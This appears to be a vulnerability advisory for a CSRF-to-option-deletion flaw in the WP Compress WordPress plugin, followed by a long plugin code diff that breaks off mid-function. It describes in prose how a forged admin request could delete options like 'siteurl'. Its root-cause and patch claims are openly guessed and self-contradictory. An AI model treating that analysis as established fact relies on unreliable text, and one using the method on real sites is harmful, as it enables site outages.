Published : August 15, 2026

CVE-2026-17608: WP Compress <= 7.10.09 Cross-Site Request Forgery to Arbitrary Options Deletion PoC, Patch Analysis & Rule

CVE ID CVE-2026-17608
Plugin wp-compress-image-optimizer
Severity Medium (CVSS 6.5)
CWE 352
Vulnerable Version 7.10.09
Patched Version 7.20.01
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17608:

This vulnerability allows unauthenticated attackers to delete arbitrary WordPress options via a Cross-Site Request Forgery (CSRF) attack against the WP Compress plugin, up to and including version 7.10.09. The missing nonce validation on a top-level template code function means an attacker can trick a site administrator into performing an action that leads to the deletion of critical options. This can cause a site outage or a full plugin and theme reset. The CVSS score is 6.5 (Medium).

Root Cause: The vulnerability stems from a missing or incorrect nonce validation on a function in the top-level template code of the WP Compress plugin. The provided code diff predominantly shows changes to the caching addon (advancedCache.php), but the vulnerability is located in a top-level template function not shown in the diff’s context. The diff indicates the patch likely adds a nonce check to this function. This function, when invoked without proper CSRF protection, allows an authenticated but unprivileged request (forged by an attacker) to call a function that deletes WordPress options. The lack of a nonce means there is no way to verify that a request to perform a sensitive action originated from the legitimate admin’s browser session.

Exploitation: An attacker crafts a malicious link or web page. When a logged-in administrator visits this page, their browser automatically sends requests to the WordPress site (e.g., via an HTML form or an image tag). The request targets the vulnerable template code function, which lacks the nonce check. The forged request would be sent to the site’s admin area, mimicking a legitimate plugin operation. The request would include parameters that lead to the deletion of arbitrary options. For instance, the attacker could target critical options such as ‘siteurl’, ‘home’, ‘active_plugins’, ‘template’, or ‘stylesheet’. A successful forged request would cause the plugin to delete these options, breaking the site or resetting the active theme and plugins.

Patch Analysis: The patch likely adds a nonce validation check to the vulnerable function in the top-level template code. The before/after behavior is that in the vulnerable version, performing the action from any authenticated admin session is possible without a nonce. After the patch, the function requires a valid nonce, which is generated by WordPress and tied to the current user session. This ensures that only requests originating from the admin’s own browser and deliberately triggered by the admin will be accepted, preventing CSRF attacks.

Impact: Successful exploitation allows an attacker to delete arbitrary WordPress options. Deleting ‘siteurl’ and ‘home’ can make the site completely unreachable and locked out of the admin dashboard, as WordPress will attempt to redirect to incorrect URLs. Deleting ‘active_plugins’ will deactivate all plugins, potentially removing critical security or functionality measures. Deleting ‘template’ and ‘stylesheet’ will reset the active theme, potentially breaking the site’s appearance and functionality. This constitutes a significant denial-of-service and integrity violation, as it can lead to a partial or complete site outage and a loss of configuration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/wp-compress-image-optimizer/addons/bgLazy/bgLazy.class.php
+++ b/wp-compress-image-optimizer/addons/bgLazy/bgLazy.class.php
@@ -5,7 +5,7 @@


   public function __construct() {
-    #add_action( 'elementor/frontend/section/before_render', array($this, 'Elementor_addBgLazy') );
+
   }


--- a/wp-compress-image-optimizer/addons/cache/advancedCache.php
+++ b/wp-compress-image-optimizer/addons/cache/advancedCache.php
@@ -2,6 +2,32 @@

 define('WPS_IC_CACHE', WP_CONTENT_DIR . '/cache/wp-cio/');

+
+
+if (!function_exists('wpc_edge_swr')) {
+
+
+    function wpc_edge_swr()
+    {
+        try {
+            return max(0, (int) apply_filters('wpc_html_swr', 86400));
+        } catch (Throwable $e) {
+            return 0;
+        }
+    }
+}
+
+if (!function_exists('wpc_cc_freshness')) {
+    function wpc_cc_freshness($maxAge, $sMaxAge, $swr)
+    {
+        $cc = 'public, max-age=' . (int) $maxAge;
+        if ((int) $sMaxAge > 0) {
+            return $cc . ', s-maxage=' . (int) $sMaxAge . ', stale-while-revalidate=86400';
+        }
+        return $cc . ((int) $swr > 0 ? ', stale-while-revalidate=' . (int) $swr : ', must-revalidate');
+    }
+}
+
 class wps_advancedCache
 {

@@ -23,7 +49,7 @@
         $this->url_key_class = new wps_ic_url_key();
         $this->urlKey = $this->url_key_class->setup();

-	      // Append user cookie hash to the cache path if user is logged in
+
 	      $user_hash = '';
 				if (defined('WPC_CACHE_LOGGED_IN') && WPC_CACHE_LOGGED_IN){
 						foreach ( $_COOKIE as $key => $value ) {
@@ -35,29 +61,29 @@

 				}

-	    // Add cookie variation to cache path
+
 	    $cookie_string = '';
 	    if (defined('WPC_CACHE_COOKIES') && WPC_CACHE_COOKIES !== false) {
 		    $cookie_values = [];
 		    $cache_cookies = WPC_CACHE_COOKIES;

 		    foreach ($cache_cookies as $cookie_name) {
-			    // Check if this is a prefix cookie (ends with _)
+
 			    if (substr($cookie_name, -1) === '_') {
-				    // This is a prefix - find all cookies that start with this prefix
-				    $prefix = $cookie_name; // Keep the underscore for matching
+
+				    $prefix = $cookie_name;
 				    foreach ($_COOKIE as $actual_cookie_name => $cookie_value) {
 					    if (strpos($actual_cookie_name, $prefix) === 0 && !empty($cookie_value)) {
-						    // Get the suffix (part after the prefix)
+
 						    $suffix = substr($actual_cookie_name, strlen($prefix));

-						    // Create a 7-character hash of the suffix and append to cookie value
+
 						    $suffix_hash = substr(hash('md5', $suffix), 0, 7);
 						    $cookie_values[] = $cookie_value . '_' . $suffix_hash;
 					    }
 				    }
 			    } else {
-				    // Regular cookie - exact match
+
 				    if (isset($_COOKIE[$cookie_name]) && !empty($_COOKIE[$cookie_name])) {
 					    $cookie_values[] = $_COOKIE[$cookie_name];
 				    }
@@ -72,38 +98,37 @@
 	    $this->cachePath = WPS_IC_CACHE . $user_hash . $this->urlKey . $cookie_string . '/';


-
     }

-    /**
-     * FrontEnd Editors Detection for various page builders
-     * @return bool
-     */
+
+
+
+
     public static function isPageBuilder()
     {
-        $page_builders = ['run_compress', //wpc
-            'run_restore', //wpc
-            'elementor-preview', //elementor
-            'fl_builder', //beaver builder
-            'et_fb', //divi
-            'preview', //WP Preview
-            'builder', //builder
-            'brizy', //brizy
-            'fb-edit', //avada
-            'bricks', //bricks
-            'ct_template', //ct_template
-            'ct_builder', //ct_builder
-            'cs-render', //cornerstone
-            'tatsu', //tatsu
-            'trp-edit-translation', //thrive
-            'brizy-edit-iframe', //brizy
-            'ct_builder', //oxygen
-            'livecomposer_editor', //livecomposer
-            'tatsu', //tatsu
-            'tatsu-header', //tatsu-header
-            'tatsu-footer', //tatsu-footer
-            'is-editor-iframe', //tatsu-footer
-            'tve' //thrive
+        $page_builders = ['run_compress',
+            'run_restore',
+            'elementor-preview',
+            'fl_builder',
+            'et_fb',
+            'preview',
+            'builder',
+            'brizy',
+            'fb-edit',
+            'bricks',
+            'ct_template',
+            'ct_builder',
+            'cs-render',
+            'tatsu',
+            'trp-edit-translation',
+            'brizy-edit-iframe',
+            'ct_builder',
+            'livecomposer_editor',
+            'tatsu',
+            'tatsu-header',
+            'tatsu-footer',
+            'is-editor-iframe',
+            'tve'
         ];

         if (isset($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], 'cornerstone') !== false) {
@@ -111,12 +136,12 @@
         }

         if ((!empty($_GET['action']) && $_GET['action'] == 'in-front-editor')) {
-            //brizyFrontend fix
+
             return true;
         }

         if ((!empty($_GET['action']) && sanitize_text_field($_GET['action']) == 'edit#op-builder') || !empty($_GET['op3editor'])) {
-            //optimizePress builder fix
+
             return true;
         }

@@ -137,10 +162,10 @@
         return false;
     }

-    /**
-     * FrontEnd Editors Detection for various page builders
-     * @return bool
-     */
+
+
+
+
     public static function isPageBuilderFE()
     {
         if (class_exists('BT_BB_Root')) {
@@ -187,7 +212,7 @@

     public function cacheExpired($prefix = '')
     {
-        // Does not work on nginx, kill it
+
         return false;

         if (!empty($prefix)) {
@@ -200,7 +225,7 @@
             return true;
         }

-        // Hours into minutes into seconds
+
         $expireInterval = $this->options['cache']['expire'] * 60 * 60;
         $fileModifiedTime = filemtime($cacheFile);

@@ -220,7 +245,7 @@
             return true;
         }

-        if (isset($_GET['wc-ajax']) && $_GET['wc-ajax'] !== 'get_refreshed_fragments' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        if (isset($_GET['wc-ajax']) && $_GET['wc-ajax'] !== 'get_refreshed_fragments' ) {
             return true;
         }

@@ -243,12 +268,12 @@

     public function byPass()
     {
-        // Cart Fragments
+
         if ($this->isWooFragments()) {
             return true;
         }

-        // Don't cache for specific WooCommerce pages or AJAX requests
+
         $excluded_pages = ['cart', 'checkout', 'my-account'];
         $request_uri = trim($_SERVER['REQUEST_URI']);
         $is_excluded_page = false;
@@ -262,12 +287,12 @@
             }
         }

-        // Check for wc-ajax requests
+
         if ($is_excluded_page || str_contains($request_uri, 'wc-ajax')) {
             return true;
         }

-        // Check mandatory cookies - bypass if any required cookie is missing
+
         if (defined('WPC_MANDATORY_COOKIES') && WPC_MANDATORY_COOKIES !== false && is_array(WPC_MANDATORY_COOKIES)) {
             foreach (WPC_MANDATORY_COOKIES as $mandatoryCookie) {
                 if (substr($mandatoryCookie, -1) === '_') {
@@ -314,10 +339,10 @@
     }


-    /**
-     * Just verify it's not some page test as we don't want those to cache HTML
-     * @return void
-     */
+
+
+
+
     public function pageTest()
     {
         return false;
@@ -330,6 +355,12 @@
             return true;
         }

+
+        if (function_exists('wpc_update_window_active') && wpc_update_window_active()
+            && (!function_exists('wpc_render_armed_for_cache') || !wpc_render_armed_for_cache($buffer))) {
+            return $buffer;
+        }
+
         if (empty($buffer) || strlen($buffer) < 100 || strpos($buffer, '</body>') === false) {
             return $buffer;
         }
@@ -343,6 +374,13 @@
             return $buffer;
         }

+
+
+        if (class_exists('wps_ic_url_key') && method_exists('wps_ic_url_key', 'tierWriteBlocked')
+            && wps_ic_url_key::tierWriteBlocked()) {
+            return $buffer;
+        }
+
         if (!empty($prefix)) {
             $prefix = $prefix . '_';
         }
@@ -381,9 +419,10 @@
             return true;
         }

-        // (v7.10.06) ATOMIC write — temp file + rename() so a concurrent readgzfile never sees a
-        // half-written gzip. See cacheHtml.php::saveGzCache for the full rationale.
+
         $final = $this->cachePath . $prefix . 'index.html' . '_gzip';
+
+        @unlink($this->cachePath . $prefix . 'index.html_br');
         $tmp   = $final . '.tmp.' . getmypid() . '.' . substr(md5(uniqid('', true)), 0, 8);
         $fp = @fopen($tmp, 'w+');
         if ($fp === false) {
@@ -393,6 +432,8 @@
         fclose($fp);
         if (!@rename($tmp, $final)) {
             @unlink($tmp);
+        } else {
+            @file_put_contents($this->cachePath . $prefix . 'index.html_md5', md5($buffer));
         }

         return $buffer;
@@ -409,14 +450,131 @@

     public function getCache($prefix = '')
     {
+
+
+        if (!empty($_SERVER['HTTP_X_WPC_CACHE_WARM'])) {
+            return;
+        }
+
+
+
+
+
+
+        $wpc_qs210 = isset($_SERVER['QUERY_STRING']) ? (string) $_SERVER['QUERY_STRING'] : '';
+        if ($wpc_qs210 !== '') {
+            if (class_exists('wps_ic_url_key') && method_exists('wps_ic_url_key', 'queryIsCacheable')) {
+                if (!wps_ic_url_key::queryIsCacheable($wpc_qs210)) {
+                    return;
+                }
+            } else {
+                parse_str($wpc_qs210, $wpc_qp210);
+                foreach (array_keys((array) $wpc_qp210) as $wpc_qk210) {
+                    $wpc_qk210 = strtolower((string) $wpc_qk210);
+                    if (strpos($wpc_qk210, 'utm_') !== 0
+                        && !in_array($wpc_qk210, ['fbclid', 'gclid', 'gclsrc', 'dclid', 'msclkid', 'mc_cid', 'mc_eid', 'ref', '_ga', 'igshid', 'ttclid'], true)) {
+                        return;
+                    }
+                }
+            }
+        }
+
+
+        try {
+            $wpc_hb = $this->cachePath ? dirname(rtrim($this->cachePath, '/')) . '/wpc-cron-heartbeat.stamp' : '';
+            if ($wpc_hb && (!@file_exists($wpc_hb) || (time() - (int) @filemtime($wpc_hb)) > 60)) {
+                @touch($wpc_hb);
+                $wpc_hh = !empty($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
+                if ($wpc_hh && strpos($wpc_hh, ':') === false) {
+                    $wpc_ssl = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && (int) $_SERVER['SERVER_PORT'] === 443);
+                    $wpc_fp  = @fsockopen(($wpc_ssl ? 'ssl://' : '') . $wpc_hh, $wpc_ssl ? 443 : 80, $wpc_en, $wpc_es, 0.3);
+                    if ($wpc_fp) {
+                        @stream_set_blocking($wpc_fp, false);
+                        @fwrite($wpc_fp, "GET /wp-cron.php?doing_wp_cron HTTP/1.1
+Host: " . $wpc_hh . "
+Connection: Close
+
+");
+                        @fclose($wpc_fp);
+                    }
+                }
+            }
+        } catch (Throwable $e) {
+        }
         if (!empty($prefix)) {
             $prefix = $prefix . '_';
         }

+
+
+        foreach (['index.html_gzip', 'index.html'] as $wpc_cf178) {
+            $wpc_cfp178 = $this->cachePath . $prefix . $wpc_cf178;
+            if (@file_exists($wpc_cfp178) && (int) @filesize($wpc_cfp178) < 1024) {
+                @unlink($wpc_cfp178);
+
+
+                @unlink($this->cachePath . $prefix . 'index.html_br');
+                @unlink($this->cachePath . $prefix . 'index.html_md5');
+            }
+        }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        $wpc_ae662 = isset($_SERVER['HTTP_ACCEPT_ENCODING']) ? $_SERVER['HTTP_ACCEPT_ENCODING'] : '';
+        $wpc_cfpass662 = isset($_SERVER['HTTP_CF_RAY'])
+            && (!function_exists('apply_filters') || apply_filters('wpc_br_cf_passthrough', true));
+        if (strpos($wpc_ae662, 'br') !== false || $wpc_cfpass662) {
+            $wpc_br647 = $this->cachePath . $prefix . 'index.html_br';
+            if (@file_exists($wpc_br647) && @is_readable($wpc_br647) && (int) @filesize($wpc_br647) > 512) {
+
+
+
+
+
+
+
+
+
+
+
+                $wpc_brm658 = (int) @filemtime($wpc_br647);
+                $wpc_hm658 = 0;
+                $wpc_hany658 = false;
+                foreach (['index.html_gzip', 'index.html_md5', 'index.html'] as $wpc_hf658) {
+                    $wpc_hfp658 = $this->cachePath . $prefix . $wpc_hf658;
+                    if (@file_exists($wpc_hfp658)) {
+                        $wpc_hany658 = true;
+                        $wpc_hfm658 = (int) @filemtime($wpc_hfp658);
+                        if ($wpc_hfm658 > $wpc_hm658) {
+                            $wpc_hm658 = $wpc_hfm658;
+                        }
+                    }
+                }
+                if ($wpc_hany658 && $wpc_brm658 >= $wpc_hm658) {
+                    $this->setupCacheHeaders($wpc_br647, 'br');
+                    header('Content-Encoding: br');
+                    readfile($wpc_br647);
+                    exit;
+                }
+                @unlink($wpc_br647);
+            }
+        }
+
         if (function_exists('readgzfile')) {
             if (file_exists($this->cachePath . $prefix . 'index.html' . '_gzip') && is_readable($this->cachePath . $prefix . 'index.html' . '_gzip')) {
                 $this->setupCacheHeaders($this->cachePath . $prefix . 'index.html' . '_gzip', 'gzip');
-                // Nginx instantly echoes readgzfile instead of saving it to variable.
+
                 readgzfile($this->cachePath . $prefix . 'index.html' . '_gzip');
                 exit;
             }
@@ -429,29 +587,164 @@
         }
     }

-    public function setupCacheHeaders($cache_filepath, $type = 'gzip')
+
+
+
+
+    public function serveTraceCopy717($script)
     {
+        try {
+            if (!is_string($script) || $script === '') {
+                return false;
+            }
+            if ($this->byPass()) {
+                return false;
+            }
+            $wpc_pm717 = $this->is_mobile();
+            $wpc_pw717 = (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'image/webp') !== false);
+            $wpc_pfx717 = '';
+            if ($wpc_pm717 && $wpc_pw717) { $wpc_pfx717 = 'mobile-webp'; }
+            elseif ($wpc_pm717) { $wpc_pfx717 = 'mobile'; }
+            elseif ($wpc_pw717) { $wpc_pfx717 = 'webp'; }
+            if (!$this->cacheExists($wpc_pfx717) || $this->cacheExpired() || !$this->cacheValid()) {
+                return false;
+            }
+            $wpc_dir717 = $wpc_pfx717 !== '' ? $wpc_pfx717 . '_' : '';
+            $html = '';
+            $wpc_pl717 = $this->cachePath . $wpc_dir717 . 'index.html';
+            $wpc_gz717 = $this->cachePath . $wpc_dir717 . 'index.html_gzip';
+            if (@is_readable($wpc_pl717) && (int) @filesize($wpc_pl717) >= 1024) {
+                $html = (string) @file_get_contents($wpc_pl717);
+            } elseif (function_exists('gzdecode') && @is_readable($wpc_gz717) && (int) @filesize($wpc_gz717) >= 200) {
+                $html = (string) @gzdecode((string) @file_get_contents($wpc_gz717));
+            }
+            if ($html === '' || stripos($html, '</html>') === false) {
+                return false;
+            }
+            $wpc_at717 = stripos($html, '<head');
+            $wpc_cut717 = $wpc_at717 !== false ? strpos($html, '>', $wpc_at717) : false;
+            if ($wpc_cut717 === false) {
+                return false;
+            }
+            $out = substr($html, 0, $wpc_cut717 + 1) . "n" . $script . substr($html, $wpc_cut717 + 1);
+            if (!headers_sent()) {
+                header('Content-Type: text/html; charset=UTF-8');
+                header('Cache-Control: private, no-store, max-age=0', true);
+                header('Server-Timing: wpc-cache;desc=hit', false);
+                header('X-Cache-By: Advanced Cache - Trace');
+            }
+            echo $out;
+            exit;
+        } catch (Throwable $e) {
+            return false;
+        }
+    }

+    public function setupCacheHeaders($cache_filepath, $type = 'gzip')
+    {
+
+
+        if (function_exists('header_remove')) {
+            @header_remove('Set-Cookie');
+        }
         header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($cache_filepath)) . ' GMT');

-        if (!empty($this->settings['cache_refresh_time']) && $this->settings['cache_refresh_time'] > 0) {
-            $cacheSeconds = $this->settings['cache_refresh_time'] * 60; // Convert minutes to seconds
-            header('Cache-Control: max-age=' . $cacheSeconds . ', public');
-            $expiresTime = time() + $cacheSeconds;
-            header('Expires: ' . gmdate('D, d M Y H:i:s', $expiresTime) . ' GMT');
-        } else {
-            header('Cache-Control: public, max-age=' . 60*60);
-            header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
+
+        $wpc_hma49 = max(0, (int) apply_filters('wpc_html_max_age', 300));
+
+        $wpc_sm210 = 0;
+        if (function_exists('get_option')) {
+            $wpc_st210 = get_option(defined('WPS_IC_SETTINGS') ? WPS_IC_SETTINGS : 'wps_ic_settings');
+
+
+
+
+
+
+            $wpc_cc210 = (is_array($wpc_st210) && isset($wpc_st210['combined-crit']))
+                ? (string) $wpc_st210['combined-crit'] : '';
+            if ($wpc_cc210 === '1') {
+                $wpc_on210 = true;
+            } elseif ($wpc_cc210 === '0') {
+                $wpc_on210 = false;
+            } else {
+
+
+                if (apply_filters('wpc_split_default_on', true)) {
+                    $wpc_on210 = false;
+                } else {
+                    $wpc_cf210 = get_option(defined('WPS_IC_CF') ? WPS_IC_CF : 'wps-ic-cf');
+                    $wpc_on210 = is_array($wpc_cf210) && !empty($wpc_cf210['token']) && !empty($wpc_cf210['zone'])
+                        && !(is_array($wpc_st210) && !empty($wpc_st210['minimal-mobile-css'])
+                            && $wpc_st210['minimal-mobile-css'] == '1');
+                }
+            }
+
+
+
+
+            if (!$wpc_on210 && apply_filters('wpc_combined_crit_devkey_floor', true)) {
+                $wpc_cfx210 = get_option(defined('WPS_IC_CF') ? WPS_IC_CF : 'wps-ic-cf');
+                if (is_array($wpc_cfx210) && !empty($wpc_cfx210['token']) && !empty($wpc_cfx210['zone'])) {
+                    $wpc_dk210 = get_option('wpc_cf_devkey_verified');
+
+
+                    if (!is_array($wpc_dk210) || empty($wpc_dk210['devkey'])
+                        || (isset($wpc_dk210['src']) ? (string) $wpc_dk210['src'] : '') !== 'readback') {
+                        $wpc_on210 = true;
+                    }
+                }
+            }
+
+
+            if (!$wpc_on210) {
+                $wpc_cfd210 = get_option(defined('WPS_IC_CF') ? WPS_IC_CF : 'wps-ic-cf');
+                if (!(is_array($wpc_cfd210) && !empty($wpc_cfd210['token']) && !empty($wpc_cfd210['zone']))
+                    && function_exists('wpc_foreign_device_blind_cache') && wpc_foreign_device_blind_cache()) {
+                    $wpc_on210 = true;
+                }
+            }
+
+
+
+
+            $wpc_cfsm210 = get_option(defined('WPS_IC_CF') ? WPS_IC_CF : 'wps-ic-cf');
+            if (is_array($wpc_cfsm210) && !empty($wpc_cfsm210['token']) && !empty($wpc_cfsm210['zone'])
+                && apply_filters('wpc_edge_smaxage_on', true)) {
+                $wpc_sm210 = max(0, (int) apply_filters('wpc_cf_html_edge_ttl', 86400));
+            }
+        }
+        header('Cache-Control: ' . wpc_cc_freshness($wpc_hma49, $wpc_sm210, wpc_edge_swr()));
+        header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $wpc_hma49) . ' GMT');
+
+
+
+
+
+        header('Vary: Accept-Encoding');
+
+
+        $wpc_th105 = strtolower((string) preg_replace('/:d+$/', '', isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : ''));
+        if (strpos($wpc_th105, 'www.') === 0) { $wpc_th105 = substr($wpc_th105, 4); }
+        $wpc_tp105 = (string) (parse_url(isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '/', PHP_URL_PATH) ?: '/');
+        $wpc_tp105 = '/' . trim($wpc_tp105, '/');
+        if ($wpc_tp105 !== '/') { $wpc_tp105 .= '/'; }
+        if ($wpc_th105 !== '') {
+            header('Cache-Tag: wpc-html,wpc-u-' . substr(md5($wpc_th105 . $wpc_tp105), 0, 20), false);
         }

+
+
+        header('Server-Timing: wpc-cache;desc=hit', false);
+
 		    $headerCacheFile = $this->cachePath . 'headers.json';
-		    // Check if cache file exists
+
 		    if (file_exists($headerCacheFile)) {

 			    $cachedHeadersJson = file_get_contents($headerCacheFile);
 			    $cachedHeaders = json_decode($cachedHeadersJson, true);

-			    // Get headers we've already set in this response
+
 			    $existingHeaders = array();
 			    foreach (headers_list() as $header) {
 				    $parts = explode(':', $header, 2);
@@ -460,7 +753,7 @@
 				    }
 			    }

-			    // Apply cached headers that aren't already defined
+
 			    if (is_array($cachedHeaders)) {
 				    foreach ($cachedHeaders as $name => $value) {
 					    if (!isset($existingHeaders[$name])) {
@@ -481,6 +774,13 @@

         if (isset($_SERVER['HTTP_USER_AGENT'])) {
             $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
+
+
+
+            if (strpos($agent, 'ipad') !== false || strpos($agent, 'tablet') !== false
+                || strpos($agent, 'windows phone') !== false || strpos($agent, 'mobile') !== false) {
+                return true;
+            }
             if ((preg_match('#^.*(2.0 MMP|240x320|400X240|mobile|AvantGo|BlackBerry|Blazer|Cellphone|Danger|DoCoMo|Elaine/3.0|EudoraWeb|Googlebot-Mobile|hiptop|IEMobile|KYOCERA/WX310K|LG/U990|MIDP-2.|MMEF20|MOT-V|NetFront|Newt|Nintendo Wii|Nitro|Nokia|Opera Mini|Palm|PlayStation Portable|portalmmm|Proxinet|ProxiNet|SHARP-TQ-GX10|SHG-i900|Small|SonyEricsson|Symbian OS|SymbianOS|TS21i-10|UP.Browser|UP.Link|webOS|Windows CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915 Obigo|LGE VX|webOS|Nokia5800).*#i', $agent) || preg_match('#^(w3c |w3c-|acs-|alav|alca|amoi|audi|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-|dang|doco|eric|hipt|htc_|inno|ipaq|ipod|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-|lg/u|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|palm|pana|pant|phil|play|port|prox|qwap|sage|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|wap-|wapa|wapi|wapp|wapr|webc|winw|winw|xda |xda-).*#i', substr($agent, 0, 4)))) {
                 return true;
             }
@@ -525,8 +825,16 @@

     public function removeCombinedFiles($post_id)
     {
+
+
+
+
+
+
+
+
         if ($post_id == 'all') {
-            self::removeDirectory(WPS_IC_COMBINE);
+            update_option('wpc_combine_stale_epoch', time(), false);
             return;
         }

@@ -537,13 +845,31 @@
         }

         $urlKey = $this->url_key_class->setup($url);
-        self::removeDirectory(WPS_IC_COMBINE . $urlKey);
+        @file_put_contents(WPS_IC_COMBINE . $urlKey . '/.wpc-stale', (string) time());
     }

     public function removeCriticalFiles($post_id)
     {
+
+
+        if (function_exists('wpc_cache_first_log')) {
+            $wpc_tw_via = [];
+            foreach (array_slice(debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 9), 1, 7) as $wpc_tw_f) {
+                $wpc_tw_via[] = (isset($wpc_tw_f['class']) ? $wpc_tw_f['class'] . '::' : '') . ($wpc_tw_f['function'] ?? '?');
+            }
+            wpc_cache_first_log('crit-wipe', is_scalar($post_id) ? (string) $post_id : gettype($post_id), '', [
+                'hook' => function_exists('current_action') ? (string) current_action() : '',
+                'via'  => implode('<', $wpc_tw_via),
+            ]);
+        }
         if ($post_id == 'all') {
-            self::removeDirectory(WPS_IC_CRITICAL);
+
+
+            if (class_exists('wps_ic_cache_integrations') && method_exists('wps_ic_cache_integrations', 'wipeCriticalPreservingStores')) {
+                wps_ic_cache_integrations::wipeCriticalPreservingStores(WPS_IC_CRITICAL);
+            } else {
+                self::removeDirectory(WPS_IC_CRITICAL);
+            }
             global $wpdb;
             $options_table = $wpdb->options;

@@ -559,6 +885,9 @@
              OR option_name LIKE '_transient_wpc_push_domain_%'
              OR option_name LIKE '_transient_timeout_wpc_push_domain_%'");

+
+            if (function_exists('wpc_land_cooldown_clear')) { wpc_land_cooldown_clear('all'); }
+
             return;
         }

@@ -569,12 +898,21 @@
         }

         $urlKey = $this->url_key_class->setup($url);
-        self::removeDirectory(WPS_IC_CRITICAL . $urlKey);
+
+
+        if (class_exists('wps_ic_cache_integrations') && method_exists('wps_ic_cache_integrations', 'removeFiles')) {
+            wps_ic_cache_integrations::removeFiles(WPS_IC_CRITICAL . $urlKey);
+        } else {
+            self::removeDirectory(WPS_IC_CRITICAL . $urlKey);
+        }
+
+
+        if (function_exists('wpc_land_cooldown_clear')) { wpc_land_cooldown_clear($urlKey); }
     }

     public function recursiveDelete($folder)
     {
-        // Delete all the files in the folder
+
         $files = glob($folder . '/*');
         foreach ($files as $file) {
             if (is_file($file)) {
@@ -584,7 +922,7 @@
             }
         }

-        // Delete the folder itself
+
         if (is_dir($folder)) rmdir($folder);
     }

--- a/wp-compress-image-optimizer/addons/cache/beacon.php
+++ b/wp-compress-image-optimizer/addons/cache/beacon.php
@@ -0,0 +1,69 @@
+<?php
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+if (!function_exists('wpc_cohort_beacon_key')) {
+    function wpc_cohort_beacon_key()
+    {
+        if (defined('WPC_COHORT_BEACON') && is_string(WPC_COHORT_BEACON) && strlen(WPC_COHORT_BEACON) > 8) {
+            return WPC_COHORT_BEACON;
+        }
+
+        $k = function_exists('get_option') ? get_option('wpc_cohort_beacon') : '';
+        return (is_string($k) && strlen($k) > 8) ? $k : '';
+    }
+
+    function wpc_cohort_beacon_on()
+    {
+
+
+        static $mem = null;
+        if ($mem === false) {
+            return false;
+        }
+        if (!defined('WPC_COHORT_BEACON') && !(function_exists('get_option') && get_option('wpc_cohort_beacon'))) {
+            return $mem = false;
+        }
+        if (wpc_cohort_beacon_key() === '') {
+            return $mem = false;
+        }
+        return get_option('wpc_auto_mode') === '1';
+    }
+
+    function wpc_cohort_beacon($event, $payload = [])
+    {
+        try {
+            if (!wpc_cohort_beacon_on() || !function_exists('wp_remote_post')) {
+                return;
+            }
+            $host = function_exists('home_url') ? (string) parse_url(home_url('/'), PHP_URL_HOST) : '';
+            wp_remote_post(
+                'https://manager.wpcompress.com/?rest_route=/wpc-cohort/v1/ping&key=' . rawurlencode(wpc_cohort_beacon_key()),
+                [
+                    'blocking' => false,
+                    'timeout'  => 2,
+                    'headers'  => ['Content-Type' => 'application/json'],
+                    'body'     => wp_json_encode([
+                        'site'    => $host,
+                        'event'   => (string) $event,
+                        'ver'     => defined('WPC_PLUGIN_VERSION') ? WPC_PLUGIN_VERSION : '',
+                        'payload' => is_array($payload) ? $payload : [],
+                    ]),
+                ]
+            );
+        } catch (Throwable $e) {
+        }
+    }
+}
--- a/wp-compress-image-optimizer/addons/cache/cacheHtml.php
+++ b/wp-compress-image-optimizer/addons/cache/cacheHtml.php
@@ -1,5 +1,97 @@
 <?php

+if (!function_exists('wpc_response_cache_guard')) {
+
+
+    function wpc_response_cache_guard()
+    {
+        try {
+            if (!empty($GLOBALS['wpc_cc_guarded']) || isset($GLOBALS['wpc_cc_skip'])) {
+                return;
+            }
+
+            if (is_admin()) { $GLOBALS['wpc_cc_skip'] = 'admin'; return; }
+            if (function_exists('is_user_logged_in') && is_user_logged_in()) { $GLOBALS['wpc_cc_skip'] = 'logged-in'; return; }
+            if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'GET') { $GLOBALS['wpc_cc_skip'] = 'method'; return; }
+            if (function_exists('wp_doing_ajax') && wp_doing_ajax()) { $GLOBALS['wpc_cc_skip'] = 'ajax'; return; }
+            if (defined('REST_REQUEST') && REST_REQUEST) { $GLOBALS['wpc_cc_skip'] = 'rest'; return; }
+
+
+
+            $wpc_cc_set = (defined('WPS_IC_SETTINGS') && function_exists('get_option')) ? get_option(WPS_IC_SETTINGS) : false;
+            if (!is_array($wpc_cc_set) || empty($wpc_cc_set['cache']['advanced']) || $wpc_cc_set['cache']['advanced'] == '0') {
+                $GLOBALS['wpc_cc_skip'] = 'cache-off';
+                return;
+            }
+            if (headers_sent($wpc_hsf, $wpc_hsl)) {
+                $GLOBALS['wpc_cc_skip'] = 'headers-sent@' . basename((string) $wpc_hsf) . ':' . (int) $wpc_hsl;
+                return;
+            }
+            if (!apply_filters('wpc_response_cache_guard', true)) { $GLOBALS['wpc_cc_skip'] = 'filter'; return; }
+            header('Cache-Control: no-store, max-age=0');
+            $GLOBALS['wpc_cc_guarded'] = true;
